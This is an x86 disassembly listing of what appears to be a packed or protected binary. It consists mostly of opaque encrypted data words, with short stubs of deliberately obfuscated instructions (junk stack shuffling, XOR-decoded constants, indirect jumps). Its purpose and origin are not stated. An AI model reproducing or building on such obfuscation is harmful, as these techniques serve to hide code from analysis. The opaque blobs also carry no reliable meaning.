0ED7F4DC4h dd 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h, 0DB617BF6h dd 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 5E08950h, 4, 8704E883h dd 248B2404h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 1FC5h mov [esp], ebx push eax mov eax, 14CA6EB9h push ecx mov ecx, 1123C0D1h mov ebp, ecx pop ecx xor ebp, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push 45EFh mov [esp], esi mov esi, ebp mov [ebx+8], esi pop esi push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_54658E ; --------------------------------------------------------------------------- dd 0B836E745h, 5E9BB03h, 0E0FFC503h, 65E251Bh, 3398C369h dd 4BD3BF6Bh, 0EF7D04Ah, 2E88489Fh, 0ECEB701h, 17943DFh dd 220D6117h, 2D8BBEA0h, 40DFA8B1h, 25CA5AF6h, 153C510Ah dd 4EC09384h, 3D837431h, 26230D21h, 761451ADh, 0BDCF04EBh dd 0ACE97665h, 0BD000005h, 61C833Ah, 68B2D552h, 0BB6766E1h dd 31FBE39h, 67B0D752h, 158C4158h, 0AB24A872h, 0FF78FE24h dd 129542D8h, 0A895F473h, 54EEA0CAh, 0A9F15C2Ah, 0B11AB22h dd 8C96CB4Eh, 0C47F4DCEh, 0C077420Bh, 64E97349h, 0BB30EAEDh dd 0F526A129h, 179645E7h, 0B433A745h, 4CB40E24h, 28AF2EADh dd 1CC344F2h, 7DD65106h, 813AB06Ah, 0B5D112Bh, 0F671E64Ah dd 0A6153785h, 6D5E9527h, 94245F11h, 0CC5E6A5Fh, 203A8E09h dd 0C39A2EA9h, 0D5F33B67h, 74E2030Fh, 958DECF3h, 4CCB8E26h dd 3992411Bh, 6B61EDDh, 7EB32CA0h, 181A6B6Ah, 944F04E6h dd 5A3D6EA3h, 0B9138C40h, 548BC18Ah, 4F04E5D3h, 0B4048333h dd 10A82796h, 73A2EE4Ch, 861ABFA8h, 0B8F02518h, 4C37FE22h dd 0BD2E1554h, 54h, 49C077D8h, 0E66CCC73h, 24864F04h, 0FF7CA6FCh dd 0E45F937Ch, 152E14C8h, 0Ah, 97455CB6h, 8D454E87h, 0C3778BC0h dd 62D67444h, 8335D7E5h, 0FE33AA21h, 0D255031Fh, 0C8804D86h dd 0C120603Ah, 130F8E09h, 0C3A225A4h, 0C59712C7h, 0A13BB627h dd 0C79441B2h, 714BC677h, 0E9F16FEBh, 73EE6FA3h, 23A0EA59h dd 5D6FA015h, 0D7367A40h, 3EE4EB66h, 90AA3EB9h, 0BF0A5ED9h dd 56EA7EBh, 762E150Fh, 0B1h, 37E6CCA1h, 0BA35B9FAh, 0FAF09450h dd 73E0F87Fh, 8449553Eh, 2CADBF0Dh, 1E80EAADh, 2BE8A0B6h dd 142EAA67h, 36A7464Ah, 875D4BBh, 4F05912Ah, 0F98C498Ah dd 5235AC21h, 90B0B2F3h, 0CB0C4F05h, 3EB04A0Eh, 0A7153785h dd 6D2AFB3Dh, 1C5162F6h, 113CBE4Ch, 5DF4E2Ch, 386DAE4Fh dd 5EDC21A0h, 0DE4F05DFh, 0BDE5471Dh, 9C846675h, 15C7DE55h dd 3BBBE72Eh, 17A52495h, 0B72EEBDCh, 61h, 106DCCE6h, 4F04E612h dd 3A62B892h, 8CF54FE4h, 2194FE5Bh, 420812A6h, 4D2FF3C9h dd 0B631A445h, 2D0F70D7h, 8F4F05D2h, 6577F665h, 0CDD0BDEEh dd 0D6C37718h, 4E68BE9h, 0F526E94Fh, 0F072B312h, 4C4F04E5h dd 558ACE8Bh, 4F04E5D4h, 8D444C1Eh, 2E14C8B6h, 827h, 0DF9A8000h dd 6D30058h, 47C27751h, 8BD3AA80h, 1945DE75h, 490E1CBCh dd 0EA60FACEh, 57A5B71h, 4F050427h, 82485285h, 3C8AA9Bh dd 0F3244F05h, 0F4562ABEh, 9278448Ch, 6AEE346Eh, 0C39912C4h dd 2872DF10h, 0E94BB4A1h, 4B4F0503h, 9AF05788h, 16890257h dd 0D97FA8DFh, 0A79CDE5h, 1E697CD9h, 63643AA1h, 0B6DC19E6h dd 54BD8245h, 0A054E913h, 8CF5D6Fh, 0A7140E91h, 0FECA4D0Dh dd 87B81045h, 54E90EA3h, 5973EA61h, 0C79514C3h, 44959D67h dd 9B79BFE3h, 0E1C33440h, 41F6171Bh, 5FA007C6h, 54E8FCDDh dd 83B29C5Fh, 0B68BC508h, 0AE740BC4h, 0BB1AAE29h, 5973EE6Fh dd 76E521EAh, 0F2C8E5F7h, 0E3E86F8Eh, 0E98AA082h, 7FF87C54h dd 3F3D0243h, 0BD54E98Bh, 71D4097Ah, 5505A729h, 184D86D2h dd 69DA28BFh, 7A33F96Eh, 652EA920h, 1686Ah, 6FD8AD00h dd 0FC7E9AF4h, 2292FC7Fh, 894C81D4h, 274CC02Ah, 6B0AD092h dd 535841AEh, 0FB3C54E9h, 3FBAE0E1h, 4B3DFB8h, 53180285h dd 0D9C180D8h, 0D7678315h, 0D1CB96FDh, 52D5829Ch, 76DE9DF9h dd 0B7164BC4h, 0AF68EF6Bh, 0C6CA902Dh, 0AD44B69Ch, 0B05217A6h dd 0BD3CBBE7h, 4C5B281Ah, 578C33F9h, 0CB000000h, 25E862D8h dd 4E6AAD8h, 73498A4Fh, 0A854852h, 0EBC885BEh, 4F04E689h dd 7A4EC98Bh, 0DBF16AE0h, 9978B802h, 5F665BD2h, 19C18FF3h dd 62D6CC93h, 3D8F08CCh, 0A578D506h, 4E62A58h, 0C6C90A4Fh dd 0C007h, 9E4AA000h, 81E3C440h, 7A30C479h, 3C7196F2h dd 0D6CC7A53h, 60D3E966h, 890BC4B7h, 0F71CF9C6h, 975854E8h dd 39B027C5h, 4CCF8C96h, 17F6557Ch, 0E8F64C2Eh, 3E67A854h dd 54E8F63Ch, 0ED9912D8h, 91302B33h, 1A4F2910h, 0A1ED70B1h dd 63E954E9h, 8D4AD0E8h, 4EEBE0Ah, 0FF7EFD1Ch, 73AF368Ah dd 0C08A47C2h, 33AA21C0h, 0EE6CD9ACh, 5D11D62Fh, 0D4CE5AD3h dd 1CD7E566h, 1C437B3h, 0E5DF5DA2h, 820D4F11h, 0F298E4DFh dd 8F488B37h, 1B83FCDh, 13F2D3ABh, 120950D2h, 0AE6BAC4Fh dd 7CA6FC24h, 60617BFCh, 12091D1Fh, 6B5C9F4Fh, 8912CBAEh dd 0C3D3196Dh, 682F609Ah, 0FC9FD217h, 0FEE15254h, 0C46FD869h dd 0EC59710h, 0E4057ADDh, 4054EEA1h, 0A82F3D8Fh, 0C774AE31h dd 0A18BE9D6h, 26E954EEh, 5A60E7F5h, 52C87B1Dh, 0A72297F3h dd 41A0E0EAh, 968C138Ah, 79CF8F21h, 0F76C7CF7h, 0C83D3682h dd 6FE86AF0h, 0FB278D5Dh, 7BDA5D1Ah, 4EC98E94h, 6AAD1311h dd 2416C1C5h, 3B4DBCA8h, 0FC834C8Fh, 0DA2FB126h, 0F7286086h dd 9F6672A7h, 0Ah, 0F077E238h, 29AE6BD8h, 0C4775106h, 6EED7F4Dh dd 894FDDEFh, 2CA0BA0Eh, 520319B3h, 0F66785D7h, 19DB617Bh dd 0B930CA9Eh, 0D890AA3Eh, 68B30D5Fh, 65EAh, 57242C89h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 8956242Ch, 4C681E6h dd 81000000h, 4EEh, 24348700h, 2404895Ch, 0B0BF5752h, 0F7391008h dd 7AC781DFh, 893EF9C4h, 0D5895FFAh, 4EC835Ah, 83242489h dd 58042404h, 4EC81h, 2C890000h, 8408F24h, 582434FFh, 4C481h dd 34FF0000h, 0C4815D24h, 4, 0FABC55E9h, 8FF292FFh, 0B830933Fh dd 5E9C0FAh, 0E0FFC503h, 1046B78Eh, 5D1A7053h, 2A4EAB8h dd 79B0564h, 3BEFBD58h, 98E9h, 9400h, 500h, 100h, 0A2800h dd 200h, 20h dup(0) dd 9EF7D300h, 0BEDE906h, 0A5680000h, 0E905E9C3h, 0FFFABB86h dd 0E9C4E868h, 0BB7CE905h, 0F568FFFAh, 0E905E9C5h, 0FFFABB72h dd 0E9C67068h, 0BB68E905h, 0D968FFFAh, 0E905E9C7h, 0FFFABB5Eh dd 0E9C83F68h, 0BB54E905h, 9468FFFAh, 0E905E9CBh, 0FFFABB4Ah dd 0E9CC9068h, 0BB40E905h, 41F2FFFAh, 9F5BC7C6h, 2CAD7518h dd 7EF02AADh, 9558C2C5h, 13A27B1Ah, 3558D786h, 0EFEE69EDh dd 83028533h, 3659D087h, 85E7D88Fh, 0E754EEA8h, 0C077CA81h dd 62E97349h, 5F9017C2h, 12904D38h, 0AF6C67B3h, 6C2DF3FEh dd 1EE3DCA3h, 4654E96Ch, 0C79E558Ch, 12C19B16h, 995C3E38h dd 31B9E1A4h, 643122B6h, 0E66DF374h, 2D854E8h, 0CD6CD71Eh dd 259D33F8h, 38000000h, 14C46FD8h, 0D90A3993h, 8340976h dd 4F8054E9h, 864CA7Dh, 1BEF54E9h, 0EB65DE17h, 0DA9633F8h dd 0C1000000h, 0EADBC077h, 4F04E688h, 652D584h, 2D1ED1CDh dd 78C88D9Fh, 0AC217DF6h, 7BACA735h, 9D1CDB61h, 3FBE3DCFh dd 0EA3CA798h, 0B3384F04h, 8B4D5538h, 4F8BB810h, 427C2C5h dd 0D3F25F14h, 46098037h, 4791256Ch, 927F1BE4h, 63B39FC6h dd 2C0AD948h, 74218845h, 5D2E17F6h, 0B954E9B7h, 0AB645776h dd 2196629h, 765AD01Ch, 15D8C285h, 3ADF3B9Ah, 2C8AA0ACh dd 0AD7508C5h, 6308B128h, 98221F86h, 9D17130h, 61D20000h dd 0BF3BE7E6h, 0CC8D9538h, 1ED04A4Dh, 0B538E2E5h, 33829B3Ah dd 5578F766h, 0F8E09CDh, 0A322A513h, 5679F067h, 0A587F8AFh dd 754EEA8h, 0C6772A61h, 19DE444Bh, 25A2160Ch, 5675C97h dd 0BC4F04E6h, 4E5E143h, 1690434Fh, 8EEDF025h, 0EBA42794h dd 0C46FD8E2h, 0DC69215h, 528D0CC1h, 3065F6C6h, 0ED1B106Dh dd 419B54E9h, 482E0698h, 0F6678368h, 13B2067Bh, 0F0C847F7h dd 588EECD1h, 2DEE54E9h, 50D61FF8h, 0FB54E958h, 51B9E32Fh dd 0CC1970A7h, 0FC281267h, 5C36039Ah, 0F74CAE6Bh, 6033F970h dd 0DEh, 60D6CCB7h, 0B51ED5E7h, 516BE269h, 0AE960ACBh dd 6151145Fh, 58DA2BEAh, 0D44F05DBh, 0A59A2E63h, 4F05DF3Eh dd 5FDD2281h, 0DD4F05D7h, 396E301Ah, 99DD5ED0h, 7065D23Ch dd 5DE2D0Fh, 0A2FCDF4Fh, 588C1F6Eh, 9215C42Eh, 0CAA96CA1h dd 53C77F5h, 0A524954Fh, 8A1DF639h, 0C178FF2Bh, 0CA4D0A14h dd 880AC3FEh, 5E8BF8C5h, 28EB54E9h, 0E765D2A5h, 33DF20h dd 0C0DA5AD0h, 0BCC6930Ch, 0ED35947Bh, 7244F36Dh, 0F13E7286h dd 6B7D3BCh, 5F1E048Bh, 0D4FE9B20h, 9B31221Fh, 88EDAh dd 0A5DC9F00h, 0F770F822h, 88F4AD0h, 0A0DB9D85h, 0F970E53Dh dd 237641D6h, 8A9037B2h, 0D04A4DCAh, 24FEE11Ah, 0EA9134B7h dd 0A9E84ABBh, 264454EEh, 62C67769h, 0ED6672F5h, 71A2DD91h dd 8407B46Eh, 0C0775401h, 62E97349h, 784524EBh, 4F04E5FAh dd 0C9DCB97Ah, 0DC8301FEh, 0C09817C6h, 0A339BE3Ah, 33927FB0h dd 0EEA804F2h, 389F5054h, 13F275E2h, 50400AC7h, 0D2BFBD20h dd 0A8072B3h, 571354EEh, 74DBBADDh, 0F42DAA2Eh, 54EE0A76h dd 0CCAE97F6h, 2854EE09h, 82D9B2E7h, 587702Ah, 34447D42h dd 0FF305AD2h, 0EE6AB011h, 0A247AC69h, 4DE2DAEBh, 72B31290h dd 0E8AF05E1h, 37320C66h, 83F42494h, 516BACD6h, 2BAC2A70h dd 2E9A291h, 1A70D755h, 373BB085h, 0EA6AB45Fh, 2BE45F6Dh dd 9DF554h, 0AEE04653h, 2FAA2F7Bh, 464B1D62h, 66A9EB0Eh dd 7DFFC0A7h, 0FFE2CB84h, 968C533Ch, 0FB27A621h, 0DBFCFD7Ch dd 608E5B92h, 78109E8h, 0D1820000h, 6FEB3756h, 0BC3DE5E8h dd 0CE809A3Dh, 65E83255h, 8332EBEAh, 0A528A716h, 5F7EF97Dh dd 0F39215C3h, 0A629A017h, 0F577481Fh, 7754EEAAh, 0E6CC5A31h dd 3AE3E1Ch, 0D8937C34h, 0BF11C46Fh, 362DBF3Ah, 0B930B9C5h dd 43228144h, 5080062h, 0DEBB7C4Fh, 0EEC92791h, 0F2638D54h dd 0BDEE6577h, 8F08C0DAh, 21A61208h, 19D0CA8Bh, 62E9359Eh dd 4DB3C2EBh, 0D4841C38h, 7066Dh, 0DD540700h, 6FE860BAh dd 8007B268h, 0D853051Dh, 71E86DB5h, 0ABFEB96Eh, 0F228AF2Ah dd 58C2C542h, 0AC761992h, 9229AC2Fh, 0AC70F233h, 0BECC54EEh dd 0F46FD8E1h, 0F76257ECh, 0AFEB5870h, 0E4D96C7Ah, 0F970F921h dd 0C0A770E3h, 0EF5811FFh, 0EDB06354h, 8706B5h, 987FF5B5h dd 8451D682h, 576ADC21h, 20CA54EEh, 0ADA632ADh, 2DBD9578h dd 2F0AB380h, 7BECECA9h, 54EE97F6h, 40898951h, 33FE7F03h dd 3B74h, 62D8A300h, 5ED825E8h, 0D64F04E6h, 0F178A265h dd 24F16276h, 0E5ADB3B4h, 42184F04h, 5C1E045Eh, 0F15A8923h dd 14CCC6BDh, 0E372Eh, 0CC660000h, 0D5E760D6h, 0C232B51Eh dd 65000001h, 0FBB45E48h, 50379679h, 4E60D6Fh, 0E94BB44Fh dd 4B4F04E5h, 70DD1E88h, 0E9107633h, 79462554h, 54E90FFBh dd 0D1DDB679h, 0FB1B38Ch, 0C03354E9h, 0D2FEC18Fh, 7D0493BFh dd 6AC3A19Eh, 0EE21F953h, 1B995625h, 6FE86EB4h, 5A2DE65Dh dd 3791F865h, 0E2534FFFh, 0DD5FA067h, 5FFEAF88h, 44B7339Ch dd 0B18E6D74h, 0FEAF88B3h, 0A615FE31h, 179042E9h, 0FA5D8E45h dd 96F5D385h, 1FFE3104h, 72D55403h, 0B3D05293h, 0C22CF952h dd 83B9116h, 46B7AD7h, 9BB3152Eh, 3C705ADDh, 0B4DEBB77h dd 0C0278407h, 0B777D448h, 59D5C25h, 2DAE0000h, 43F713B2h dd 9059C1C4h, 2AAC7619h, 41F42EB1h, 6756C7C6h, 81048332h dd 3B5AD599h, 0EFEE69EFh, 82058433h, 0D95BA4FBh, 5B54EEACh dd 0C077762Dh, 89467349h, 667B440Bh, 0D554E90Ch, 35A709CDh dd 0C0352EBAh, 149E7BE8h, 0F166BC23h, 0BE39BEE4h, 0E90BE341h dd 5D8E4154h, 3E09A11Ch, 8F76E21Ch, 537h, 890C8748h, 3F5ED991h dd 0ECF376E3h, 840B8436h, 3DA0DF9Eh, 19DCCDE8h, 0B323FF9Eh dd 0C3899134h, 1EDD4548h, 241F89Fh, 0EEAE3F3Dh, 90CFBD54h dd 7349C077h, 0D1EB62E9h, 51051DC4h, 845182D6h, 968CD6DAh dd 0A2ECA926h, 4C13B235h, 5464E356h, 83C0329Fh, 0F42E14CDh dd 28h, 0C46FD823h, 0C0889215h, 8DFE7547h, 17B4F5CAh, 7FB054E9h dd 1774FA6Dh, 0BDF54E9h, 0FA75CE07h, 2EE633F8h, 31000000h dd 2AED6FD8h, 0E93283D5h, 6F2EE154h, 0A2298733h, 71A2912Bh dd 3190916Eh, 0C77454E9h, 11D94144h, 8783C296h, 0CFFE5BD6h dd 487h, 0ED6FD81Eh, 2D4D52Ah, 9F5054E9h, 0DB9E84CDh, 7AD70C5Ch dd 7D205B10h, 0A632B525h, 5AE8E0ADh, 0B3059FFBh, 7048C777h dd 6ECE97C3h, 0FA26A06Dh, 9679FBB4h, 0CD2A48A9h, 646BAC5Ah dd 209739BEh, 1A68CA3Bh, 13C44F05h, 64598ADEh, 0A4150D54h dd 9642E925h, 1925BEA4h, 8200FDBCh, 30167CC3h, 520E9249h dd 0BE83E0ADh, 0FD54E94Fh, 26B235A5h, 0E1D25504h, 73498A34h dd 0DEEA65E9h, 0B10B8C4Ch, 0D61E02E8h, 1DFC248Eh, 0F2704D5Eh dd 7254E939h, 7E494C81h, 635C0381h, 5ACD4AA2h, 0A1BB11C2h dd 86ECB32Ah, 0C3960E54h, 79533CE3h, 99D7DBA1h, 96EFAE2Ch dd 54E9AB35h, 0C35F7EB1h, 0E8329514h, 0AF2DE661h, 0BA1D89Dh dd 8263AFF9h, 7DFFC0D5h, 0FF54E98Bh, 0F1C4CB3Ch, 0B22DAF04h dd 0E0A19E41h, 45ACDA9h, 0F463F9D3h, 0C1889275h, 14C17246h dd 121EE444h, 67E05248h, 0D7849E55h, 4730FB54h, 551802C5h dd 0F8558EDAh, 0BF77D825h, 3CFF54E9h, 53CA8199h, 7A77A68Ch dd 0CD2A72C9h, 11094800h, 598ADE59h, 0BB2592FCh, 1B909D4Ah dd 2E774186h, 910136C9h, 7EA46B5Ch, 0FB6840FFh dd 433C8F1Eh, 0CC163E8h, 0C208A095h, 0FFC31E7Dh, 366B5CC6h dd 28AAF057h, 0E3D17DB6h, 9DCEF075h, 7ABB14CFh, 5ACDE195h dd 0D85AAB0Ah, 544F05D8h, 628C36E3h, 0AD3F70F7h, 5D8B4BAh dd 5AB01F4Fh, 0F708A45h, 4F057C2Dh, 1024C8Fh, 10E36786h dd 2DF0B259h, 4FB31FF8h, 1500BD86h, 5C2E2Eh, 0D8690000h dd 30E3F46Fh, 0C29A6559h, 0A6402203h, 7BBC4F05h, 57E4706h dd 0AA54E9C8h, 6D7FF870h, 0CC911DF6h, 0E9C871F3h, 0CF00F354h dd 0C7E44AFDh, 0A82054E9h, 0CD8F9D2Fh, 0C87DFFC0h, 3CFF54E9h dd 0EB6BF1CBh, 0D8E75C6Ch, 0F3C60E72h, 6122EB17h, 8A33F9ABh dd 0FCh, 0EC6BEF3Bh, 0C077AA23h, 64E97349h, 8E4DDFEDh dd 28AFBD0Fh, 7B4EEB1h, 0F16D4A84h, 92A259D3h, 5259A639h dd 0FD4F0521h, 0DE9B35A5h, 61AD665Bh, 0A5EE6AEAh, 39D0BE54h dd 112901C4h, 2067B72Ah, 7E6A8DDh, 4110CBCBh, 8D46128Dh dd 32E8FF58h, 0FC430285h, 5AFA183h, 72F9034Fh, 172E1FBh dd 9C490454h, 0C2D8BF1Eh, 0BF38BC12h, 0B9C57E4Ah, 90D1BA35h dd 54E9C9E3h, 0AE0D9043h, 0B674F6CFh, 0DD9054E9h, 0A1DD16A2h dd 19D6A56Eh, 0B7CB349Bh, 465AD05Fh, 21C9F5Ch, 7F7BD453h dd 0CC1D9BCh, 0A528F295h, 0B6128D2Ah, 0F359221Fh, 1E232h dd 0F970E300h, 0B8C4CD6h, 5CDB9E84h, 0F46FE139h, 0D8449D1h dd 77229D8Ah, 0DE444BC6h, 24FEE11Eh, 889235B6h, 0BE4548C3h dd 0B09496EFh, 6A1054EEh, 4BC6773Dh, 0B9866544h, 4F04E5BBh dd 0F11DF639h, 0E6C517Ah, 6E4F04E6h, 805578ADh, 2AED6FD8h dd 8E8D6F4Bh, 94004EDFh, 0E6CD7197h, 632C618Dh, 0E99B2902h dd 16A29554h, 0E9974FD1h, 0E020FA54h, 0F97A5A29h, 0D38333h dd 0CCCA0000h, 0D0E867D6h, 0EF6CB663h, 0F5CAA96Ch, 4F04E677h dd 0D6651BF5h, 5561F6E7h, 725B760h, 2E74DB56h, 0A99A2EA9h dd 8DE5ECECh, 49DE7888h, 0C42DE6FCh, 4F054FDDh, 0F49B12D9h dd 43BCA92Eh, 4F0546E1h, 8A34B323h, 9441449h, 67FDE5Ch dd 54E96175h, 0C7F1ED1h, 310ED153h, 5AD00722h, 7DD7859Dh dd 430C41F8h, 0A42EED27h, 6155C690h, 0BC31692Ch, 0D5988205h dd 268C1D5Ah, 5DFF2220h, 0E694h, 0FD74E700h, 0F8840DAh dd 0A0279288h, 0F873E53Dh, 11884DD5h, 8B1E998Eh, 0D2484FCAh dd 38E2E562h, 8C9639B2h, 0B2494CCFh, 0B29092D3h, 9EEC54EEh dd 52C677C1h, 68B75A31h, 0F8EC395h, 6225A413h, 671F0508h dd 92FC8F5Fh, 0F92F75B9h, 0E6F95240h, 60C07771h, 0AA3E73ECh dd 3DA0DB90h, 0B81F9D4Ah, 0E686E4D9h, 35E64F04h, 0E2B88558h dd 1254EEA7h, 0FA718B21h, 11C65C43h, 28803FBFh, 0D3F2C63Bh dd 338900B7h, 806E5700h, 7C5865E1h, 0C5A4FE22h, 0A3E17AF8h dd 5C39FA55h, 83028532h, 0DD40D087h, 20B66FC8h, 0F7DF580Ch dd 587F919Bh, 0A3090567h, 43B46755h, 2EA0BA0Eh, 64727B5h dd 8EDA5D1Ch, 0B824955h, 8DC982B1h, 16C3DF85h, 671E018Ah dd 74A9FB2Ah, 0F822EF64h, 4DD5F873h, 0F4BD0F8Eh, 3, 77510623h dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 52E38953h dd 280ABFBAh, 28E2811Bh, 423B106Dh, 24EA814Ah, 11B0008h dd 0EB835AD3h, 241C8704h, 4583685Ch, 2C890000h, 2B206824h dd 14890000h, 0B8505624h, 5E9C285h, 8958C689h, 5685EF5h dd 8900006Eh, 4812424h, 424h, 0BB535A00h, 8, 0B951D301h dd 0 dd 2989D901h, 148B5B59h, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 2434FF5Ch, 4C4815Dh, 0E9000000h, 0FFFAAFA6h dd 0B846F5B6h, 5E9CD9Bh, 0E0FFC503h, 2071632h, 4E2D018Eh dd 33B50E2Dh, 0D2461C1h, 4720CB17h, 6A59BCA2h, 7F797EA1h dd 2217364Ah, 8C0BA6Dh, 78A37E1Eh, 20DB19CAh, 32D2B5E2h dd 69B362FDh, 55368E9Eh, 7FC17B28h, 444900B1h, 205762CEh dd 5B3A29CAh, 1C75E5B2h, 4740404Fh, 6D8B20E6h, 18B7FDD6h dd 48028D76h, 7F5AD803h, 4344A3C1h, 15B6518Dh, 5268AF6Fh dd 22C9DAFCh, 4FB0A70Ah, 5FF1D5C2h, 5FB2F6C9h, 71DCDD29h dd 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 0E9CEADB5h, 95858B05h, 8B05E429h dd 0E4166D85h, 0F7B58D05h, 8D05E9CEh, 0E7455885h, 0C3D0FF05h dd 0E855h, 815D0000h, 0E9CEFDEDh, 95BD8305h, 105E429h dd 2C850Fh, 0B5FF0000h, 5E9CEADh, 166D858Bh, 363505E4h dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h dd 40E9C0h, 1C6A0000h, 0CEB1B58Dh, 0FF5605E9h, 0E9CEADB5h dd 6D858B05h, 3505E416h, 34812736h, 0C483D0FFh, 0B1B58D0Ch dd 8B05E9CEh, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h dd 5E9h, 1B800h, 0BD830000h, 5E42995h, 7850F01h, 5D000000h dd 2E9C3h, 0CF5D0000h, 0CED6858Dh, 858905E9h, 5E417CDh dd 0D0D08D8Dh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0FC2843C3h, 63F17C8Dh, 890F1FCFh dd 6, 24459D8Bh, 0F6005E4h, 0EE8D6B7h, 80000000h, 0BFDD38F4h dd 0E801DE6Fh, 50EF7AE4h, 2FEB80F8h, 8D89615Eh, 5E41095h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 88C35545h dd 0E5B58905h, 0C705E425h, 0E42C6585h, 5AC005h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0DDAD28DAh, 69958902h, 0C705E420h, 0E430FD85h, 5, 0D9B50B00h dd 0FF05E41Bh, 0E4021DB5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 9BD2B27Fh dd 0A25F8428h, 4258589h, 95FF05E4h, 5E42A61h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 2DC35545h, 9B1523FEh dd 49B58B25h, 0E905E401h, 0Eh, 14B4655Dh, 0B1220407h, 9DB7C7C0h dd 6A507Bh, 10C195FFh, 0C08B05E4h, 0AF796BEBh, 0B9301B00h dd 258F58E1h, 0B861705h, 1E2845F4h, 0BE4E6ADFh, 3E88B867h dd 1DA19FAAh, 0A50059E4h, 60ED5502h, 1499094Ch, 4D9C156Ah dd 3A683004h, 4A5E5454h, 0CAEC4D14h, 0CAE7C998h, 0D565C01h dd 0F30B638Dh, 0EE8929A1h, 247F1B1Dh, 0AA0F6E69h, 112F4736h dd 2D6759A5h, 608AE520h, 0DA15E043h, 3174E8B1h, 0CBF4431h dd 0FE837h, 0B0B00000h, 48211216h, 4DDFB7C9h, 9CEFB695h dd 7FBB66EFh, 0BB605EE5h, 525C8696h, 61C7BF0Fh, 63FBC681h dd 0BA660000h, 680F9Bh, 0F000000h, 605FCBBFh, 1A6D958Bh dd 0AE905E4h, 4E000000h, 9771CAB7h, 0E95D563h, 34FF6198h dd 14E937h, 0EFB00000h, 3FFC7236h, 2FF19066h, 3ED8611Bh dd 12A590FAh, 2958F0EEh, 0E425BD95h, 1E88105h, 1369E01h dd 0E4162195h, 7DC08105h, 894B2EE1h, 0E41B219Dh, 0E9E88105h dd 0F7F8379h, 683h, 9D958900h, 5005E41Ch, 455958Bh, 48F05E4h dd 0BE93Eh, 0DCEF0000h, 97738FF6h, 5B395D25h, 66526060h dd 0F5BFB8Bh, 1386h, 0DE800h, 70830000h, 0DE9D8078h, 0C1C4C9E7h dd 5A03B8C8h, 0E1EF8161h, 805F8C8Ah, 0C7815EDAh, 5F8C8ADDh dd 0D58589h, 0FF8105E4h, 0FFFF9CF8h, 0FF58850Fh, 830FFFFFh dd 1, 4C08EBFCh, 394259h, 0E9024100h, 0CC0h, 0E9D3E568h dd 725EE905h, 2368FFFBh, 0E905E9D5h, 0FFFB7254h, 0E9D6F168h dd 724AE905h, 0E368FFFBh, 0E905E9D7h, 0FFFB7240h, 0E9D89D68h dd 7236E905h, 9F68FFFBh, 0E905E9DAh, 0FFFB722Ch, 0E9DB3B68h dd 7222E905h, 6E68FFFBh, 0E905E9DCh, 0FFFB7218h, 0E9DD7768h dd 720EE905h, 2649FFFBh, 158538F1h, 57C0472Ch, 9006B972h dd 0D745F8B1h, 7C6D39F2h, 0EB80A53Bh, 2CC5E074h, 6C052AB9h dd 0AA4768F9h, 0C8485937h, 0FC92ACFh, 8F1EEE66h, 0C92ACF89h dd 795ECF4Eh, 8B6DDC91h, 5A7FEC22h, 8B9C0DF0h, 0AA473613h dd 21B75428h, 0D6052675h, 713B4E38h, 1ED79021h, 0A312D2A7h dd 0EC2CBD0Dh, 2BC92721h, 9B7AD054h, 0C9272171h, 42DA69D3h dd 0C68CA923h, 3C21B077h, 31624D78h, 466BCFD8h, 5C000000h dd 7848AFFFh, 4CD9D8A8h, 3FCEAF6Bh, 0CCC31DD9h, 54CDAF1Eh dd 0D2A73FAFh, 8FCF8B7Ah, 3F6EAE3Fh, 0D6A9C927h, 3F59C352h dd 2BFBC927h, 743B1E8Ah, 1822C6E3h, 4EE7C82Bh, 0C1E4CFD8h dd 2C000000h, 70341D8Dh, 5A7FECD9h, 928DCF0h, 258B63AFh dd 0CF5DC4A0h, 99E6072Fh, 3F209E5h, 0F1660757h, 0F1BB7AD0h dd 14FEE370h, 52DF0091h, 0CAEF6302h, 5ACBAD00h, 0CCC3C861h dd 0D75C8516h, 349EC350h, 0DFED1262h, 0A7D15DCEh, 4C2598D2h dd 4715FACAh, 4D0A2F36h, 0B90FFED7h, 3785A838h, 640021B6h dd 0C0D1A1F7h, 0CCC17940h, 0CD743087h, 5BBC7A5Fh, 69DB1F70h dd 0A73D3EFh, 66090000h, 0D545F8B1h, 178007ECh, 50C67932h dd 9705B871h, 3CADF9B2h, 0AB4065FBh, 0EC85A034h, 2CC5EA79h dd 6A0728B9h, 80899F7h, 0CFC92ACEh, 7CECD7A6h, 0BC2DD059h dd 0EEBE1E9Bh, 0C31D39DFh, 0A93FFECCh, 0FA53D584h, 0BC5C6D3Dh dd 7BCCC31Dh, 6B20B141h, 82716478h, 0FB186CE6h, 422A31E5h dd 0EF80F462h, 0DF44550Dh, 79D2A7A0h, 3FEEFD8Dh, 36F27FF1h dd 9E0A5A2Dh, 290D2A0Bh, 78EF8E00h, 9A7BD15Bh, 0C927607Eh dd 43D56ADCh, 864BB322h, 767436DAh, 73C2887Fh, 5C93BC89h dd 0E038CFD8h, 0A1000000h, 0A5A7FECh, 79D1F66Bh, 0AB5AF0B4h dd 0DBBA1035h, 0CCC322EEh, 4A270899h, 536146DBh, 0BDE87BA7h dd 0A271363Fh, 0B42D5FDBh, 56E6F4ACh, 0D612D908h, 65378567h dd 0D3E2F211h, 0D2A70E5Eh, 1594249Bh, 29439985h, 2EEDC9CDh dd 9C3EBD7Fh, 4952BC8h, 0D74D4EEAh, 